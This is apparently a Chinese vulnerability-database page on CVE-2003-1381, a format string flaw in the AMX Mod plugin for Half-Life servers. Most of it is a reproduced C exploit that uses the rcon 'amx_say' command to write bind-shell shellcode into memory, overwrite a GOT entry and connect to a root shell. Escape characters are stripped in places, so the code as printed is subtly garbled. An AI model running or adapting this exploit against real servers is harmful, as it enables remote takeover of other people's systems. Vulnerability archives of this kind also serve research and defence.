AMX Mod远程’amx_say’格式化字符串漏洞

AMX Mod远程’amx_say’格式化字符串漏洞

漏洞ID 1107224 漏洞类型 格式化字符串
发布时间 2003-02-26 更新时间 2003-12-31
图片[1]-AMX Mod远程’amx_say’格式化字符串漏洞-安全小百科CVE编号 CVE-2003-1381
图片[2]-AMX Mod远程’amx_say’格式化字符串漏洞-安全小百科CNNVD-ID CNNVD-200312-092
漏洞平台 Linux CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/22291
https://cxsecurity.com/issue/WLB-2007100079
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-092
|漏洞详情
ValveSoftware’sHalf-LifeServer的插件AMX0.9.2及其早期版本存在格式化字符串漏洞。远程攻击者借助amx_say命令的格式化字符串说明符执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/6968/info

A format string vulnerability has been discovered AMX Mod 0.9.2 and earlier which may be exploitable to execute arbitrary code on a target Half-Life server. The problem occurs when calling the 'amx_say' command. By passing specially constructed format specifiers as an argument to the command, it is possible to modify arbitrary locations in memory.

It should be noted that rcon authentication is required to access the 'amx_say' command. 

/*****************************************************************
 * hoagie_amx.c
 *
 * Remote exploit for Halflife-Servers running the AMX-Plugin
 * (rcon-password required)
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: [email protected]
 *
 * Tested with HL-Server v3.1.1.0 and AMX 0.9.2 on Linux
 *
 * Credits:
 *    void.at
 *    Taeho Oh for using parts of his shellcode-connection code.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <stdlib.h>

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "x31xc0x40x40xcdx80x89xc0x85xc0x74x06"
                   "x31xc0xb0x01xcdx80"
                   "x31xc0x31xdbx31xc9x31xd2xb0x66xb3x01x51"
                   "xb1x06x51xb1x01x51xb1x02x51x8dx0cx24xcd"
                   "x80xb3x02xb1x02x31xc9x51x51x51x80xc1x77"
                   "x66x51xb1x02x66x51x8dx0cx24xb2x10x52x51"
                   "x50x8dx0cx24x89xc2x31xc0xb0x66xcdx80xb3"
                   "x01x53x52x8dx0cx24x31xc0xb0x66x80xc3x03"
                   "xcdx80x31xc0x50x50x52x8dx0cx24xb3x05xb0"
                   "x66xcdx80x89xc3x31xc9x31xc0xb0x3fxcdx80"
                   "x41x31xc0xb0x3fxcdx80x41x31xc0xb0x3fxcd"
                   "x80x31xdbx53x68x6ex2fx73x68x68x2fx2fx62"
                   "x69x89xe3x8dx54x24x08x31xc9x51x53x8dx0c"
                   "x24x31xc0xb0x0bxcdx80"
                   "x31xc0xb0x01xcdx80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}

int connect_sh()
{
        int sockfd,i;
        struct sockaddr_in sin;
        struct hostent *he;
        printf("Connect to the shelln");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
        if((he=gethostbyname(server_ip))<0) perror("gethostbyname"), exit(1);
        memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socketn");
                exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to the shelln");
                exit(0);
        }
        return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
   struct sockaddr_in sin;
   struct timeval timeout;
   struct hostent *he;

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
   if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

   timeout.tv_sec=10;
   timeout.tv_usec=0;
   if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
   if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
      sizeof(timeout))<0)
      perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
   char msg[2000];
   struct sockaddr_in sin;
   struct sockaddr_in sfrom;
   struct hostent *he;
   fd_set fdset;
   int dummy;

   usleep(100);

   sin.sin_family=AF_INET;
   sin.sin_port=htons(port);
   if((he=gethostbyname(host))<0) perror("gethostbyname"), exit(1);
   memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));

   sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
   if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
      perror("sendto"), exit(1);

   if(reply)
   {
      if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
      {
         if(errno==EAGAIN)
         {
            // resend message
            printf("msg stalled, resending...n");
            sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
            if(sendto(sock,msg,strlen(msg),0,(struct sockaddr
*)&sin,sizeof(sin))<0)
               perror("sendto"), exit(1);
            else
               printf("resend OKn");
            if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
               perror("recvfrom"),exit(1);
         }
         else
            perror("recvfrom"), exit(1);
      }

      if(strncmp(msg,"xFFxFFxFFxFF",4))
         fprintf(stderr,"protocol error: replyn"), exit(1);

      strcpy(reply,msg+4);
   }
}

void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char
*reply_fun)
{
   char reply[1000];
   char msg[2000];

   lowlevel_rcon(sock,host,port,"challenge rcon",reply);
   if(!strstr(reply,"challenge rcon "))
      fprintf(stderr,"protocol errorn"), exit(1);
   reply[strlen(reply)-1]=0;

   sprintf(msg,"rcon %s "%s" %s",reply+strlen("challenge rcon
"),rconpwd,cmd);
   if(reply_fun)
      lowlevel_rcon(sock,host,port,msg,reply);
   else
      lowlevel_rcon(sock,host,port,msg,NULL);
   if(reply_fun)
      strcpy(reply_fun,reply);
}

int get_padding(unsigned char c,int bytes_written)
{
   int write_byte=c;
   int already_written=bytes_written;
   int padding;

   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;

   return padding;
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=SB1(addr);
   already_written=bytes_written;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p1=padding;

   write_byte=SB2(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p2=padding;

   write_byte=SB3(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p3=padding;

   write_byte=SB4(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p4=padding;
}

int main(int argc, char **argv)
{
   int sock, stackpops, padding;
   int i,j,bytes_written;
   int p1,p2,p3,p4;
   char cmd[1000], reply[1000];
   unsigned long addr;

   printf("hoagie_amx - remote exploit for hlds servers using the amx
pluginn"
          "by [email protected]");
   if(argc!=4)
   {
      printf("Usage: %s server_name server_port rcon_passwordnn",argv[0]);
      exit(1);
   }

   strcpy(server_ip,argv[1]);
   server_port=strtol(argv[2],NULL,10);
   strcpy(rcon_pwd,argv[3]);

   create_conn(&sock,server_ip,server_port);

   printf("Getting stackpop count...");
   send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
   stackpops=-1;
   for(padding=0;padding<4 && stackpops==-1;padding++)
   {
      for(i=50;i<200 && stackpops==-1;i++)
      {
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         sprintf(reply,"AAAA%%%d$08x",i);
         strcat(cmd,reply);

         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         reply[strlen(reply)-1]=0;
         if(strstr(reply,"AAAA41414141"))
         {
            char *ptr;
            ptr=strrchr(reply,'n')+1;  // get pointer to last log line
            stackpops=i;
            bytes_written=strstr(ptr," (text "")+strlen(" (text
"")-strchr(ptr,'"');
            bytes_written+=4+padding;
         }
         printf(".");
         fflush(stdout);
      }
   }
   padding--;
   if(stackpops==-1)
   {
      printf("ncouldn't determine stackpop count. (I really tried hard!)n");
      exit(1);
   }

   printf("nStackpops found: %d, Padding: %dn",stackpops,padding);

   // inject shellcode
   printf("Writing shellcode...");
   addr=OFFSET;
   for(i=0;i<strlen(shellcode);)
   {
      int t;
      if((addr&0xFF)>0x75)
      {
         // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
         // distance is 0x13B-0x7A = 193d
         unsigned long target=192;

         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(0xe9,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(target&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>8)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>16)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr++;
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding((target>>24)&0xFF,bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

         addr+=193;
      }
      else
      {
         // write shellcode-pieces
         strcpy(cmd,"amx_say ");
         for(j=0;j<padding;j++) strcat(cmd,"b");
         t=get_padding(shellcode[i],bytes_written);
         sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
             (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
         strcat(cmd,reply);
         send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
         addr++;
         i++;
      }
      printf(".");
      fflush(stdout);
   }

   // overwrite GOT entry with shellcode address
   strcpy(cmd,"amx_say ");
   for(j=0;j<padding;j++) strcat(cmd,"b");
   get_write_paddings(OFFSET,&p1,&p2,&p3,&p4,bytes_written+24+padding*4);
   addr=VSNPRINTF_GOT_ADDRESS;
   sprintf(reply,"%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA%c%c%c%cAAAA"
                 "%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n%%%du%%%d$n",
                 addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,

(addr+1)&0xFF,((addr+1)>>8)&0xFF,((addr+1)>>16)&0xFF,((addr+1)>>24)&0xFF,

(addr+2)&0xFF,((addr+2)>>8)&0xFF,((addr+2)>>16)&0xFF,((addr+2)>>24)&0xFF,

(addr+3)&0xFF,((addr+3)>>8)&0xFF,((addr+3)>>16)&0xFF,((addr+3)>>24)&0xFF,
                 p1,stackpops,p2,stackpops+2,p3,stackpops+4,p4,stackpops+6);
   strcat(cmd,reply);
   send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,NULL);
   sleep(1);
   close(sock);
   printf("nConnecting to the shell...n");
   exec_sh(connect_sh());
   return 0;
}
|参考资料

来源:XF
名称:amx-amxsay-format-string(11427)
链接:http://xforce.iss.net/xforce/xfdb/11427
来源:BID
名称:6968
链接:http://www.securityfocus.com/bid/6968
来源:BUGTRAQ
名称:20030226[VSA0308]Half-LifeAMX-Modremote(root)hole
链接:http://www.securityfocus.com/archive/1/313273
来源:SREASON
名称:3258
链接:http://securityreason.com/securityalert/3258

相关推荐: Danware NetOp Remote Control Unauthenticated File Transfer Vulnerability

Danware NetOp Remote Control Unauthenticated File Transfer Vulnerability 漏洞ID 1104143 漏洞类型 Access Validation Error 发布时间 2000-05-23…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享